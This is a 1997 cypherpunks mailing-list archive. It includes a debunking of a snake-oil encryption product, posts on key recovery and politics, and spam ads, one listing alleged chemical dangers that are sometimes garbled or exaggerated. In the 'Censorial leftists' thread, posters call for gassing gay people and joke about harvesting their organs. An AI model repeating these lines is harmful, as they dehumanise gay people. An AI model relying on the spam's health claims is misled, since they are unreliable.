peel, and break out in hives. Can cause cold sweats, convulsions, circulatory collapse, coma and even death!! AMMONIA: It is a very volatile chemical, it is very damaging to your eyes, respiratory tract and skin. BLEACH: It is a strong corrosive. It will irritate or burn the skin, eyes and respiratory tract. It may cause pulmonary edema or vomiting and coma if ingested. WARNING: never mix bleach with ammonia it may cause fumes which can be DEADLY. CARPET AND UPHOLSTERY SHAMPOO: Most formulas are designed to over power the stain itself, they accomplish the task but not without using highly toxic substances. Some include: Perchlorethylene: Known carcinogen damages liver, kidney and nervous system damage. Ammonium Hydroxide: Corrosive, extremely irritable to eyes, skin and respiratory passages. DISHWASHER DETERGENTS: Most products contain chlorine in a dry form that is highly concentrated. # 1 cause of child poisonings, according to poison control centers. DRAIN CLEANER: Most drain cleaners contain lye, hydrochloric acid or trichloroethane. Lye: Caustic, burns skin and eyes, if ingested will damage esophagus and stomach. Hydrochloric acid: Corrosive, eye and skin irritant, damages kidneys, liver and digestive tract. Trichloroethane: Eye and skin irritant, nervous system depressant; damages liver and kidneys. FURNITURE POLISH: Petroleum Distillates: Highly flammable, can cause skin and lung cancer. Phenol: (see Air fresheners, Phenol.) Nitrobenzene: Easily absorbed through the skin, extremely toxic. MOLD AND MILDEW CLEANERS: Chemicals contained are: Sodium hypochlorite: Corrosive, irritates or burns skin and eyes, causes fluid in the lungs which can lead to coma or death. Formaldehyde: Highly toxic, known carcinogen. Irritant to eyes, nose, throat, and skin. May cause nausea, headaches, nosebleeds, dizziness, memory loss and shortness of breath. OVEN CLEANER: Sodium Hydroxide (Lye): Caustic, strong irritant, burns to both skin and eyes. Inhibits reflexes, will cause severe tissue damage if swallowed. ANTIBACTERIAL CLEANERS: may contain: Triclosan: Absorption through the skin can be tied to liver damage. LAUNDRY ROOM PRODUCTS: Sodium or calcium hypocrite: Highly corrosive, irritates or burns skin, eyes or respiratory tract. Linear alkylate sulfonate: Absorbed through the skin. Known liver damaging agent. Sodium Tripolyphosphate: Irritates skin and mucous membranes, causes vomiting. Easily absorbed through the skin from clothes. TOILET BOWL CLEANERS: Hydrochloric acid: Highly corrosive, irritant to both skin and eyes. Damages kidneys and liver. Hypochlorite Bleach: Corrosive, irritates or burns eyes, skin and respiratory tract. May cause pulmonary edema, vomiting or coma if ingested. Contact with other chemicals may cause chlorine fumes which may be fatal. OTHER NASTY THINGS THAT ARE AROUND YOUR HOME PESTICIDES: Most pesticides have ingredients that affect the nervous system of insects. Imagine what these extremely poisonous chemicals do to your body. or your baby's. Dimpylate: Better known as Diazinon, extremely toxic. Impairs the central nervous system. Chlorinate Hydrocarbons: Suspected carcinogen and mutantagen. Accumulates in food and in fatty tissue. Will attack the nervous system. Organophosphates: Toxic and poisonous. If you can smell it, your lungs are absorbing it. FLEA POWDERS: Why put toxins on "man's (or woman's) best friend." Carbaryl: Very toxic, causes skin, respiratory and cardiovascular system damage. Chlordane: Accumulates in the food chain, may damage eyes, lungs, liver, kidney and skin. Dichlorophene: Skin irritation: May damage liver, kidney, spleen and central nervous system. LICE SHAMPOO: Especially vulnerable are children. Lindane: Inhalation, ingestion, or ABSORPTION through the SKIN causes vomiting, diarrhea, convulsions and circulatory collapse. May cause liver damage, stillbirths, birth defects and cancer. CAR WASH AND POLISH: Petroleum Distillates: Associated with skin and lung cancer, irritant to skin, eyes, nose and lungs. Entry into the lungs may cause fatal pulmonary edema, most marked Danger, Harmful or Fatal. TAR AND BUG REMOVER: Contains XYLENE and PETROLEUM DISTILLATES. As you become more aware, you will realize that YOU have to make the first step. YOU have a responsibility to tell your friends, neighbors, and relatives to stop using these dangerous chemicals that are both hazardous to your health and the environment. So come join the revolution to rid toxic chemicals from the planet. That's our MISSION at PLANET SOLUTIONS! Clear Choice(non-toxic cleaner) Buy3 get 1 free. If you want to learn more about out "solution to the toxic dilemma please reply with the subject "More Info" in the subject box.If you would like a free sample of Clear Choice (non toxic cleaner) please send your name ,address and phone number. If you wish to be removed from this advertiser's future mailings, please reply with the subject "Remove" and this software will automatically block you from their future mailings. From sunder at brainlink.com Fri Dec 5 08:14:16 1997 From: sunder at brainlink.com (Ray Arachelian) Date: Sat, 6 Dec 1997 00:14:16 +0800 Subject: Security of Encrypted Magic Folders In-Reply-To: <001501bd0131$20c8d5a0$a1a0400c@default> Message-ID: On Thu, 4 Dec 1997, Alex Woolfson wrote: > EMF's encryption offers good protection and excellent speed. It > hasn't been broken yet. It is, as far as we know, exportable. THERE > IS NO BACKDOOR. Should you forget your password there is nothing we > can do to decrypt your encrypted files. If it is exportable, then it is weak encryption by definition. The question is how weak. Reading their marketting crap provides more insights in just how lame this is: > Quite a few people ask us how big EMF's key size is. They've learned > from other encryption programs that the bigger the key the stronger > the encryption. This really doesn't apply to EMF. > > We developed our own encryption instead of using a standard because > we wanted EMF to be able to decrypt at the byte level. In this way > we only need to decrypt/encrypt the data your programs require and > not the entire file. In other words: security through obscurity. Smells like snake oil, looks like snake oil, it even has bits of snake scales in it. Heck, if they say that the key size is not important, it's likely very tiny, or regardless of what key size you'd use (if you had any choice), it's such a weak cypher that it wouldn't get you anything. > In theory, because we decrypt at the byte level, the biggest key we > could use would be 8 bits - which is a joke. So instead of > decrypting every hunk of data using the same key, as most other > encryption programs do, we developed an algorithm to vary the key > based on the data's location within the file. In this way we get > both high security and high speed. We are trying to patent EMF's > encryption method. Whoop. so the key is the location of the data? At most, this means a 32 bit key on most file systems, 64 bits on newer file systems. This assumes that your file is long enough for that. But as a key, this is totally useless as the key is the location which is visible to all. Likely they would be wise to "mix" this location key with the passphrase. This offers little more than CBC would. The only difference is that CBC is based on the previous block, where this is based on the location of a byte in the file (which is known) whereas a CBC depedns on knowledge of the previous block. If they did it the right way, they'd use the passphrase to build a lookup table of large keys based on the byte location within a file, but because this depends on your passphrase, your security is still that of the passphrase at maximum. There may be ways to weaken this. > Having said all that, truth is, most encryption isn't "cracked" by > breaking the algorithm, it's done by guessing the password. Brute > guessing of passwords tends to level the playing field tremendously. > We actually have an advantage because we aren't an established > standard. Because we're small and relatively obscure chances are no > one will take the effort to write a password guessing program (which > incidentally would violate copyright and intellectual property laws.) > Even if someone were to go thru all this effort we could easily > change the encryption method for the next update. This is total bullshit. It's Grade A, government approved exportable snake oil. Just because they are small and obscure it doesn't guarantee you any extra safety. Just because nobody has bothered to write a brute forcer for their code doens't mean nobody can do so. And no, this would not violate any of their copyright if the author of the brute forcer proggie wrote it without copying their code. It might violate intellectual property laws if they had a patent on it, but they can't get one since they're going by security through obscurity. They claim to be applying for a patent, but if they do, their code is published and their weaknesses will be displayed. It might violate trade secret laws if someone who has the source or the algorithm shares it, but not if someone reverse engineers it (depending on reverse engineering laws of course.) Just because they could "rewrite" the code in the next update against cracking or brute force attacks does not buy you security. FYI: If you use this crap and someone steals a copy of the encrypted files off your hard drive, it doesn't matter what new updates this company produces. The fact is you used the older breakable version, the attacker has your cyphertext and will decode it. > If we used an established encryption method like DES or Blowfish then > your files would probably have to be fully decrypted when opened, > would exist on disk as unencrypted while you're using them, and then > would need to be encrypted when closed. Translation: We don't use CBC, because that would be more work and slow down our crappy cypher. Deeper translation: break any portion of any encrypted file and you'll likely break the whole thing if not huge parts of it. "Established encryption methods (sic)" use CBC because it adds security. Their algorithms are well published and well known so people can find their weaknesses and publicise them. Whatever weaknesses there are in this thing are hidden from those who can't or won't reverse engineer it. But there are plenty of those who can and will, and have no qualms about releasing it anonymously, or worse: keeping the expolit to themselves so as to exploit those stupid enough to use this lame shit. It only takes one cracker with a good disassembler to reverse engineer their code and find all the holes, and they'll be out of business. If what protects your data is the cypher, and not the key, then breaking the cypher is all you need to do. Heck, I'd bet they use something really shitty like this: (since "key size is not important", and "depends on location".) char code(char *passphrase, char data, long location); { int i; char c; for (i=0; passphrase[i]>0; c^=passphrase[i++]); return (data ^ c ^ (char)(location & 0xff)); } Gee, I probably violated their "intellectual" property by guessing their code, heh. > This has multiple > disadvantages. First, if your computer shuts down while you have > "encrypted" files open, then those files would be unencrypted. This > doesn't happen with EMF as your encrypted files are always encrypted > as stored on disk. The second disadvantage is that it slows things > down tremendously. Not if you use an encrypted disk driver. then, all your data is encrypted all the time. (You get into other issues such as keeping the passphrase or key from falling into the pagefiles, etc...) [Meaningless babble deleted.] =====================================Kaos=Keraunos=Kybernetos============== .+.^.+.| Ray Arachelian |Prying open my 3rd eye. So good to see |./|\. ..\|/..|sunder at sundernet.com|you once again. I thought you were |/\|/\ <--*-->| ------------------ |hiding, and you thought that I had run |\/|\/ ../|\..| "A toast to Odin, |away chasing the tail of dogma. I opened|.\|/. .+.v.+.|God of screwdrivers"|my eye and there we were.... |..... ======================= http://www.sundernet.com ========================== From ravage at ssz.com Fri Dec 5 08:49:01 1997 From: ravage at ssz.com (Jim Choate) Date: Sat, 6 Dec 1997 00:49:01 +0800 Subject: ISDN is back!....yippeeee Message-ID: <199712051657.KAA16584@einstein.ssz.com> Hi, The ISDN just came back online...now if only the POTS will return... Anyway, SWBT Level 2 and their protocol analysis seems to have done the trick this time. As soon as I get my POTS back I'll lack the ISDN folks and find out what the problem was. Be advised that SWBT may still have their analyzer online which means they are doing a full capture of all the Internet related traffic. ____________________________________________________________________ | | | | | We built your fort. We will not have it used against us. | | | | John Wayne - Allegheny Uprising | | | | | | _____ The Armadillo Group | | ,::////;::-. Austin, Tx. USA | | /:'///// ``::>/|/ http://www.ssz.com/ | | .', |||| `/( e\ | | -====~~mm-'`-```-mm --'- Jim Choate | | ravage at ssz.com | | 512-451-7087 | |____________________________________________________________________| From rah at shipwright.com Fri Dec 5 08:49:26 1997 From: rah at shipwright.com (Robert Hettinga) Date: Sat, 6 Dec 1997 00:49:26 +0800 Subject: Superdistribution development/release Message-ID: --- begin forwarded text X-Sender: hutchinson at click.ncri.com Mime-Version: 1.0 Date: Fri, 5 Dec 1997 09:41:30 -0500 To: dcsb at ai.mit.edu From: hutchinson at ncri.com (Art Hutchinson) Subject: Re: Superdistribution development/release Cc: brian at smarter.than.nu Sender: bounce-dcsb at ai.mit.edu Precedence: bulk Reply-To: hutchinson at ncri.com (Art Hutchinson) >On Wed, 3 Dec 1997, Declan McCullagh wrote: > >> >> Here an incentive: if anyone breaks this, I'll write an article about it >> and another profiling the person who does. >> >> When you have this kind of "encryption" scheme running on untrusted >> hardware to which the user has access, it's doomed to fail. Even if it's >> custom hardware, it'll probably be broken, but it'll just take longer. To which Brian Buchanan replied: >Should be relatively trivial to break the encryption, since it can't be >over 40-bit (or 56-bit if the company joined the kiss-ass alliance). Uh, its a Canadian company. That John Candy movie about the U.S. invasion didn't really happen. ;-) - Art Art Hutchinson hutchinson at ncri.com Northeast Consulting Resources, Inc. phone: (617) 654-0635 One Liberty Square fax: (617) 654-0654 Boston, MA 02160 www.ncri.com ------------------------------------------------------------------------------ "Working at the intersection of business and IT strategy to help organizations embrace electronic commerce opportunities" For help on using this list (especially unsubscribing), send a message to "dcsb-request at ai.mit.edu" with one line of text: "help". --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/ Ask me about FC98 in Anguilla!: From ravage at ssz.com Fri Dec 5 08:49:42 1997 From: ravage at ssz.com (Jim Choate) Date: Sat, 6 Dec 1997 00:49:42 +0800 Subject: 'Off' the parking pigs! (fwd) Message-ID: <199712040043.SAA15787@einstein.ssz.com> Forwarded message: > Date: Wed, 03 Dec 1997 14:56:10 -0600 > From: TruthMonger > Subject: Re: 'Off' the parking pigs! > In the jury's humble opinion, the prosecution didn't prove its case. > This is no problem for the government. They have the deep pockets > required to prosecute as many times as needed to refine their attempts > to manipulate the minds of the jurors, or to get lucky and have a few > members of a split jury vote to convict because they don't want to > blow their trip to the Stones' concert. No the police only get one shot. If they try to prosecute the individual on the same charge *after* a jury has rendered a verdict then that is double jeopardy. ____________________________________________________________________ | | | | | We built your fort. We will not have it used against us. | | | | John Wayne - Allegheny Uprising | | | | | | _____ The Armadillo Group | | ,::////;::-. Austin, Tx. USA | | /:'///// ``::>/|/ http://www.ssz.com/ | | .', |||| `/( e\ | | -====~~mm-'`-```-mm --'- Jim Choate | | ravage at ssz.com | | 512-451-7087 | |____________________________________________________________________| From jya at pipeline.com Fri Dec 5 08:51:57 1997 From: jya at pipeline.com (John Young) Date: Sat, 6 Dec 1997 00:51:57 +0800 Subject: SynData/Schneier Attack Network Associates Message-ID: <1.5.4.32.19971205164216.006f950c@pop.pipeline.com> Right to Privacy for Sale in Cyberspace; SynData Technologies Inc. Speaks Out Against Key Recovery Cedar Grove, N.J. -- SynData Technologies Inc., a provider of encryption software solutions, released a statement today condemning Network Associates Inc. for supporting the government's key recovery program. Network Associates recently purchased Pretty Good Privacy (PGP). PGP had historically been opposed to key recovery. "It is time to seriously consider the threat that Network Associates poses to the individual's constitutional right to privacy," said David Romanoff, CEO of SynData Technologies Inc. "While Network Associates claims to protect privacy in cyberspace, they have actually traded our right to privacy for a shot at increased revenues overseas by supporting the key recovery program. The slippery slope has begun right under our noses. It's time to challenge both the government and companies who support the government's key recovery program before it is too late." "The government's key recovery program is a complete violation of the individual's right to privacy and, in fact, compromises of the system are already taking place. This shows that key escrow is an untenable policy," said Bruce Schneier, one of the world's leading authorities on encryption and author of the book "Applied Cryptography". "SynData is paving the way for other software developers by taking a stand in opposition to the government and companies like Network Associates." From rah at shipwright.com Fri Dec 5 09:05:40 1997 From: rah at shipwright.com (Robert Hettinga) Date: Sat, 6 Dec 1997 01:05:40 +0800 Subject: Sabotage and Threats a sham. Message-ID: --- begin forwarded text From: "Blair Anderson" To: "dcsb at ai.mit.edu" Date: Fri, 05 Dec 97 18:14:26 +1300 Priority: Normal MIME-Version: 1.0 Subject: Sabotage and Threats a sham. Sender: bounce-dcsb at ai.mit.edu Precedence: bulk Reply-To: "Blair Anderson" LONDON -- Accusations that criminals are using high-tech weapons to extort hundreds of millions of dollars from banks and stock exchanges are "pure imagination," according to Europe's largest defense electronics research agency. http://www.techweb.com/wire/story/TWB19971204S0008 Blair Anderson (Blair at technologist.com) International Consultant in Electronic Commerce, Encryption and Electronic Rights Management "Techno Junk and Grey Matter" (HTTP://WWW.NOW.CO.NZ [moving servers, currently inactive]) 50 Wainoni Road, Christchurch, New Zealand phone 64 3 3894065 fax 64 3 3894065 Member Digital Commerce Society of Boston ---------------------------- Caught in the Net for 25 years ---------------------------- For help on using this list (especially unsubscribing), send a message to "dcsb-request at ai.mit.edu" with one line of text: "help". --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/ Ask me about FC98 in Anguilla!: From geeman at best.com Fri Dec 5 09:41:16 1997 From: geeman at best.com (geeman at best.com) Date: Sat, 6 Dec 1997 01:41:16 +0800 Subject: Security of Encrypted Magic Folders Message-ID: <3.0.32.19691231160000.007076c4@shell15.ba.best.com> Sounds like a crock. See the Snake-Oil FAQ. This (mis)information is so full of nonsense I wouldn't touch the product with rubber gloves. At 07:51 PM 12/4/97 -0800, Alex Woolfson wrote: > >Hello, all! Back reading the list after a long hiatus. Glad it's still as >good as ever. Anyway, thought I'd appeal to the collective brain trust as >this question is over my head. Please "cc" me directly since I'm on the >filtered cypherpunk list. > >I just downloaded Encrypted Magic Folders--a program that hides Windows 95 >folders and then encrypts them to prevent a disk utility from revealing >their content. In their help file, they try to answer the question "How >Secure is it?"--and, of course, they say *very*, but I can't tell if this is >so or if they're just blowing smoke. Particularly, their claim that key >size doesn't matter. (My mom taught me size always matters... ) If >someone with a stronger cryptography background than me could take a look at >this and let me know, I would greatly appreciate it. > >Thanks! > >Alex > > >* How Secure is it? > > EMF's encryption offers good protection and excellent speed. It > hasn't been broken yet. It is, as far as we know, exportable. THERE > IS NO BACKDOOR. Should you forget your password there is nothing we > can do to decrypt your encrypted files. > > Quite a few people ask us how big EMF's key size is. They've learned > from other encryption programs that the bigger the key the stronger > the encryption. This really doesn't apply to EMF. > > We developed our own encryption instead of using a standard because > we wanted EMF to be able to decrypt at the byte level. In this way > we only need to decrypt/encrypt the data your programs require and > not the entire file. > > In theory, because we decrypt at the byte level, the biggest key we > could use would be 8 bits - which is a joke. So instead of > decrypting every hunk of data using the same key, as most other > encryption programs do, we developed an algorithm to vary the key > based on the data's location within the file. In this way we get > both high security and high speed. We are trying to patent EMF's > encryption method. > > Having said all that, truth is, most encryption isn't "cracked" by > breaking the algorithm, it's done by guessing the password. Brute > guessing of passwords tends to level the playing field tremendously. > We actually have an advantage because we aren't an established > standard. Because we're small and relatively obscure chances are no > one will take the effort to write a password guessing program (which > incidentally would violate copyright and intellectual property laws.) > Even if someone were to go thru all this effort we could easily > change the encryption method for the next update. > > If we used an established encryption method like DES or Blowfish then > your files would probably have to be fully decrypted when opened, > would exist on disk as unencrypted while you're using them, and then > would need to be encrypted when closed. This has multiple > disadvantages. First, if your computer shuts down while you have > "encrypted" files open, then those files would be unencrypted. This > doesn't happen with EMF as your encrypted files are always encrypted > as stored on disk. The second disadvantage is that it slows things > down tremendously. As an example, let's say you retrieve your email > and your email program needs to add today's message to the end of > your 3MB email file. If we used a standard encryption method > requiring the decryption of the file before use then the entire 3 MB > file would have to be decrypted, your 300 byte message added to the > end and then the entire file encrypted again. With EMF, no > decryption would need to take place, and the only data needing > encryption would be the 300 byte message. MUCH faster. Around > 20,000 times faster in this example! > > If you still think you'd like to see us use a standard encryption > method like DES or Blowfish, or have any other suggestions, let us > know and we will consider your input in future updates > > > From nospam at synernet.com Fri Dec 5 09:44:07 1997 From: nospam at synernet.com (NoSpam) Date: Sat, 6 Dec 1997 01:44:07 +0800 Subject: SynData/Schneier Attack Network Associates Message-ID: <3.0.2.32.19971205122651.007cae60@fast.synernet.com> At 11:42 AM 12/5/97 -0500, you wrote: > Right to Privacy for Sale in Cyberspace; SynData Technologies Inc. > Speaks Out Against Key Recovery > > Cedar Grove, N.J. -- SynData Technologies Inc., a provider of encryption > software solutions, released a statement today condemning Network > Associates Inc. for supporting the government's key recovery program. > Network Associates recently purchased Pretty Good Privacy (PGP). > PGP had historically been opposed to key recovery. > "The government's key recovery program is a complete violation of the > individual's right to privacy and, in fact, compromises of the system are > already taking place. This shows that key escrow is an untenable policy," > said Bruce Schneier, one of the world's leading authorities on encryption > and author of the book "Applied Cryptography". "SynData is paving the > way for other software developers by taking a stand in opposition to the > government and companies like Network Associates." By "companies like Network Associates", do you mean "companies who are members of the Key Recovery Alliance" (http://www.kra.org)? If so, here are the "companies like Network Associates", in that regard: [Note RSA is a Charter Member] America Online, Inc. Apple Computer, Inc. * American Express Corp. Atalla * Baltimore Technologies Boeing Candle Corporation CertCo Certicom Compaq Computer Corp. Cryptomathic CygnaCom Sulutions, Inc. Cylink Corp. DASCOM, Inc. Data Securities International, Inc. Digital Equipment Corporation * Digital Secured Networks Technology, Inc. Digital Signature Trust Company Entrust Technologies First Data Corp. Fort Knox Escrow Services, Inc. Frontier Technologies Corp. Fujitsu, Ltd. GemPlus Gradient Technologies, Inc. Groupe Bull * Hewlett-Packard * Hitachi IBM * ICL IRE Intel Corporation McAfee Mitsubishi Corporation of Japan Mitsubishi Electric America Motorola Mykotronx Mytec Technologies, Inc. nCipher Corp. NCC Escrow NCR Corporation * NEC Network Systems Group of Storage Tek Novell, Inc. Open Horizon, Inc. Portland Software PSA Price Waterhouse Racal Data Group Rainbow Technologies RedCreek Communications RPK RSA * SafeNet Trusted Services, Corp. Secure Computing Corporation Siemens AG Silicon Graphics, Inc. SourceFile Spyrus Sterling Commerce Sun Microsystems * Tandem Technical Communications Corp. The Santa Cruz Operation, Inc. Toshiba Trusted Information Systems, Inc. * Unisys UPS * Utimaco Mergent VPNet Technologies ------------------- estone at synernet-robin.com remove "-birdname" spam avoider ------------------- ---------------------------- Ed Stone estone at synernet-robin.com delete "-birdname" spam avoider ---------------------------- From honig at otc.net Fri Dec 5 09:51:22 1997 From: honig at otc.net (David Honig) Date: Sat, 6 Dec 1997 01:51:22 +0800 Subject: encrypted home videos Message-ID: <3.0.5.32.19971205093918.008003f0@206.40.207.40> Recently a hollywood pair's home sex video was stolen, duped, and sold. This makes the mass market aware. You could sell video cameras that required a passphrase to play. This would be easier with pure digital recording cameras, which are the next generation of consumer vidcams. A fast stream cipher is easy in hardware, and there *will* be a market for it. You have no privacy if your bits are not encrypted when your space is violated, by feds or other criminals, but you want the convenience of a videocamera. (forward this idea to other lists/newsgroups as appropriate) ------------------------------------------------------------ David Honig Orbit Technology honig at otc.net Intaanetto Jigyoubu Information is a dense, colorless, odorless material readily transmitted across empty space and arbitrary boundaries by shaking charged particles. From nobody at REPLAY.COM Fri Dec 5 09:55:40 1997 From: nobody at REPLAY.COM (Anonymous) Date: Sat, 6 Dec 1997 01:55:40 +0800 Subject: Censorial leftists (Was: Interesting article) Message-ID: <199712051725.SAA02954@basement.replay.com> >The cited examples were of restaurants and other businesses in town which >had rules against employees wearing nose rings, tongue studs, spiky hair, >mohawks, lip piercings, tatoos, scarification, and such things. And >"weight discrimination," as in the also-famous case of a Santa Cruz health >food store turning down the employment application of a "person of >poundage." (The grossly obese Toni Cassista, who sued the health food store >citing weight discrimination...I believe she eventually settled out of >court.) Tim, that's only because the city didn't want to remove the ceiling of the courtroom and hire a crane to lower her into the courtroom through the roof. And they were busy trying to file charges against her for something else entirely. See, she had chemicals within her body in a "quantity not warranted by any legitimate purpose" and "which, when mixed, could be used to produce nerve gas." They figured if she ever ate some beans those beans might act as an ignition charge and...well, no more Santa Cruz. It could have been worse (for her) though. They could have charged her with "possession of a gas discharge device with intent to break wind." From DaveL at classifiedcentral.com Sat Dec 6 02:24:34 1997 From: DaveL at classifiedcentral.com (Dave Legassi) Date: Sat, 6 Dec 1997 02:24:34 -0800 (PST) Subject: FYI Message-ID: <19971205175924437.AWD271@classifiedcentral.com> Good afternoon, Just wanted to let you know about the Global Advertising Inter-Network. We are a classified ad network with over 650 member websites, each and every one of them promoting our site, promoting your ads! Check it out at: http://www.gainads.com Thanks! From honig at otc.net Fri Dec 5 10:30:29 1997 From: honig at otc.net (David Honig) Date: Sat, 6 Dec 1997 02:30:29 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: <199712050444.XAA03304@bofh.internal.net> Message-ID: <3.0.5.32.19971205095149.00804630@206.40.207.40> At 07:17 AM 12/5/97 EST, Dr.Dimitri Vulis KOTM wrote: >Steve Thompson writes: >> As for Gays and Lezbians, well, sorry but that's right out. Such unproductive >> behaviour cannot be tolerated. > >Gas the perverts. Gas is corrosive; we can harvest their organs for breeders who need lungs and corneas if we use a different method. Or we can use the organs to keep the suffering alive indefinately, since suicide is out. The goal, after all, is as much human biomass at whatever cost.... ------------------------------------------------------------ David Honig Orbit Technology honig at otc.net Intaanetto Jigyoubu Information is a dense, colorless, odorless material readily transmitted across empty space and arbitrary boundaries by shaking charged particles. From goddesshera at juno.com Fri Dec 5 10:38:07 1997 From: goddesshera at juno.com (Anonymous Remailer) Date: Sat, 6 Dec 1997 02:38:07 +0800 Subject: launch memes Message-ID: <19971204.083812.24303.40.goddesshera@juno.com> Zooko Journeyman propounded, >Terrorism and violent confrontation are the ultimate form of >politics. Uh, no. Terrorism and violent confrontation BY PROXY are examples of "politics." Terrorism and violent confrontation on one's own behalf is called "recreation." This message was automatically remailed. The sender is unknown, unlogged, and nonreplyable. Send complaints and blocking requests to . From hallam at ai.mit.edu Fri Dec 5 10:59:58 1997 From: hallam at ai.mit.edu (Hallam-Baker) Date: Sat, 6 Dec 1997 02:59:58 +0800 Subject: Singapore In-Reply-To: <3.0.2.32.19971205134306.007187b0@panix.com> Message-ID: <199712051846.NAA02874@muesli.ai.mit.edu> From stewarts at ix.netcom.com Fri Dec 5 11:01:03 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Sat, 6 Dec 1997 03:01:03 +0800 Subject: White House humiliates Louis Freeh in public In-Reply-To: Message-ID: <3.0.3.32.19971205103112.006e9f04@popd.ix.netcom.com> Isn't this great! I was listening to Leftie Radio the other day, and they were talking about how Janet Reno wasn't appointing an independent prosecutor to bust Clinton, and how Louis Freeh was pushing for it. (No, not Rush, Pacifica's Democracy Now...) Maybe this'll push Clinton into dumping Louis. Maybe it'll push Congress into dumping Janet. There are some downsides; it could help Freeh look like a more honest guy than he is, or help him get rehired when the Republicans take over in 2000, and he could pull off some wiretap busting Clinton, but mostly he just looks disloyal, which should annoy the Republicans. Thanks! Bill Bill Stewart, stewarts at ix.netcom.com Regular Key PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From frissell at panix.com Fri Dec 5 11:05:16 1997 From: frissell at panix.com (Duncan Frissell) Date: Sat, 6 Dec 1997 03:05:16 +0800 Subject: Singapore In-Reply-To: <199712051359.IAA10734@u1.farm.idt.net> Message-ID: <3.0.2.32.19971205134306.007187b0@panix.com> -----BEGIN PGP SIGNED MESSAGE----- At 06:44 AM 12/5/97 -0500, jay holovacs wrote: >This post has a strange deja vu to it. I can remember back in the '60s when revolutionary wannabes would talk of the glorious peoples paradise while living in their comfortable suburban homes. How the workers' education system was open to all, no one was unemployed... I don't think that Singapore is a fabulous place to live but its total freedom is probably greater than Germany or France. Our total freedom in the US is greater than Singapore's. It has just been getting attacked by those who accept the greater freedom violations of many other countries including many of those in the EU. Germans lack many speech and association rights. Germany has asked the US to arrest and extradite Americans for speech crimes. They have mandatory address registration with the government (as does Singapore). On the other hand, Germans have very restrictive labor and commerce laws, high taxes, and other laws that Singapore doesn't have. Germany has mandatory "certification" (licensing) for almost every job in the country. Singapore has some of these sorts of restrictions too but because of its other economic freedoms, it is freer than Germany. Germany steals 50% of GDP and blows it on cigareets and whiskey and wild, wild, women. Singapore steals only 20% of GDP (and requires an additional 20% mandatory personally-owned retirement savings from salaries). Singaporeans are thus freer to use their own money than Germans. Singapore is unfree in many ways but freer than many other countries not usually attacked as tyrranies. DCF -----BEGIN PGP SIGNATURE----- Version: PGP for Personal Privacy 5.0 Charset: noconv iQCVAwUBNIhLNoVO4r4sgSPhAQG/4QQApynCOtYCD/S6O1hXeBf6fLXTRJzPuplL ebyU12jz1Hfg8q92xAzxi74n2SGT8nNeGtFbroFLY9cP1wn8kN9mH25UpkiDq77Q pEGgpVD0pc855ZXhzbqPyvzolwL8Xq37xvRTS8b84lbv8O0YY1mkhEm8z//9ILY/ pT0RtwulpiY= =0j+/ -----END PGP SIGNATURE----- From tm at dev.null Fri Dec 5 11:26:04 1997 From: tm at dev.null (TruthMonger) Date: Sat, 6 Dec 1997 03:26:04 +0800 Subject: Singapore In-Reply-To: <199712051846.NAA02874@muesli.ai.mit.edu> Message-ID: <348852B0.1742@dev.null> Hallam-Baker wrote: Hallam-Baker obviously thinks that he can thwart my insightful, barbed diatribes against him by posting empty messages to the CypherPunks list, thereby giving me no grounds for my [last month's CypherPunk phrase of the month here] attacks on him. While this clever ruse may have worked if I was in my usual under- medicated psychotic state, it just so happens that I am currently in an over-medicated psychotic state, and able to leap tall logic with a single bound. Halam-Bakker is obviously following the orders of his Puppet Masters to take advantage of the old adage, "I don't care what they say about me, as long as they spell my name right." He thinks that he can raise his reputation capital by spelling his name right in empty messages which give no one an opportunity to point out the evil intentions which are subliminally lurking in his posts to the list. Well, I'm wise to your little game, H-B. I dare to 'say something' in your _next_ post. I double-dare you... TruthMonger From woodshed at stopgocal.com Fri Dec 5 11:35:34 1997 From: woodshed at stopgocal.com (woodshed at stopgocal.com) Date: Sat, 6 Dec 1997 03:35:34 +0800 Subject: What has 4 legs and your childs name? Message-ID: ////////////////////////////////////////////////////////// Due to the Postal Strike we are trying direct email. If you would like to be removed from our mailing list, please reply to this message with "remove" as the subject and you will not receive any more email from our server. ///////////////////////////////////////////////////////// Beautifully handcrafted coat rack and stool with your childs name, please visit our web ad at: http://www.stopgocal.com/woodshed/index.html 12/5/97 From nobody at REPLAY.COM Fri Dec 5 11:47:42 1997 From: nobody at REPLAY.COM (Anonymous) Date: Sat, 6 Dec 1997 03:47:42 +0800 Subject: McAfee on KRAP Message-ID: <199712051939.UAA20026@basement.replay.com> Old press release from McAfee boasting Key Recovery Alliance membership: MCAFEE JOINS KEY RECOVERY ALLIANCE; MULTI-VENDOR GROUP TO CREATE INTERNATIONAL STANDARD FOR RECOVERY OF ENCRYPTION KEYS Key Recovery Alliance to Develop Solutions Which Balance the Needs of End- Users, Employers, and International Governments SANTA CLARA, CALIF. (December 12, 1996) -- McAfee (Nasdaq: MCAF), a leading vendor of network security and management software, today announced that it has joined the Key Recovery Alliance, a coalition of encryption software vendors who have joined together to promote international specifications for encrypted information. "As a member of the Alliance, McAfee will work to create an internationally recognized and widely available standard for trusted key recovery," said Dan Freedman, vice president of security products at McAfee. "Trusted key recovery enables the responsible deployment of encryption technologies worldwide, while addressing the valid interests and security requirements of end-users, employers, and government." McAfee recently extended its family of network security products with the introduction of three new encryption solutions. These solutions include PCCrypto for encryption of desktop computer files and electronic mail; WebCrypto for the encryption of Internet email; and NetCrypto for transparent encryption of all communications over TCP/IP networks such as corporate intranets and the Internet. The Key Recovery Alliance was formed in October, and is composed of approximately 40 different network security vendors who have joined to cooperate on the development and promotion of internationally-accepted standards for encryption key recovery. Encryption keys are the codes that unlock encrypted information. Encryption key recovery refers to the necessary ability to recover lost or damaged encryption keys. Common situations in which encryption key recovery would be needed include when the death or departure of an employee who maintained mission-critical encrypted information causes the encryption key to be lost; when an encryption key becomes damaged due to a hard disk crash; or when a court order 